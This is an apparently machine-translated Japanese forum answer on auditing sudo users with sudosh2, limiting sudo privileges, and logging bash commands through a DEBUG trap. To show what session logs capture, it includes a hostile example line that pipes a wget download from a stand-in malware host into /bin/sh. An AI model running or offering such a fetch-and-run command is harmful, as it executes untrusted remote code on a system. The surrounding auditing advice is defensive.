回答:
信頼しますが、確認してください!
sudosh2を確認してください。sudosh2は、FreeBSDポートによって提供されます。パッケージはRedHatおよびUbuntuで利用できます。ウェブサイトの説明は次のとおりです。
sudoshは監査シェルフィルターであり、ログインシェルとして使用できます。Sudoshはすべてのキーストロークと出力を記録し、VCRのようにセッションを再生できます。
Sudoshを使用すると、ユーザーのセッションを再生できます。これにより、ユーザーが見たすべての入力と出力を確認できます。すべて、キーストローク、タイプミス、バックスペース、編集内容vi
、の出力wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
などが表示されます。
sudoshログをsyslogに送信して、システムから離れた中央のsyslogサーバーに保存できるようにすることができます。
sudosh2は、sudoshの代わりであり、sudoshは作成者によって放棄されたことに注意してください。
ユーザーがスーパーユーザーの特権を持つことを主張している学術機関で働いていますか?または、企業で働いており、ユーザーが自分のVMでスーパーユーザー特権を持つことを許可したいですか?これが解決策かもしれません。
彼にルートアクセス権を与えないでください。代わりに、非特権ユーザーアカウントを彼に与え、彼がすべてのsudo
コマンドをログに記録することにより、彼がすべての作業を行うように要求します。
この人が悪意を持っていて、あなたが彼に完全なsudo特権を与えた場合、彼はそれらのコマンドが記録されずにそれらの悪意を実行する方法を見つけることに注意してください。この場合、仕事をするために必要な特定のコマンドへのアクセスのみを許可します。
sudo su -
、ログに記録されないルートシェルを作成できます(起動した場合を除く)。これは、ルートとして複数のコマンドを一度に実行したい場合や、通常のユーザーが読めないディレクトリでタブ補完をしたい場合に通常入力するものです。
sudo su -
必要に応じて明示的に禁止できます。
私はsudosh2に精通していません.bashrc
が、bash
シェルに入力したすべてのコマンドをファイルに記録するために、次のように入力します~/.command_log
。
# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
\$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi
上記はDEBUG
、通常のコマンドが実行される直前に実行されるにトラップを設定します。caller
組み込みコマンドは対話型シェルで入力されたかのような何かを経由して実行されているかどうかをテストするために使用されます.bashrc
。値に${BASH_COMMAND}
は、現在実行されているコマンドが含まれます。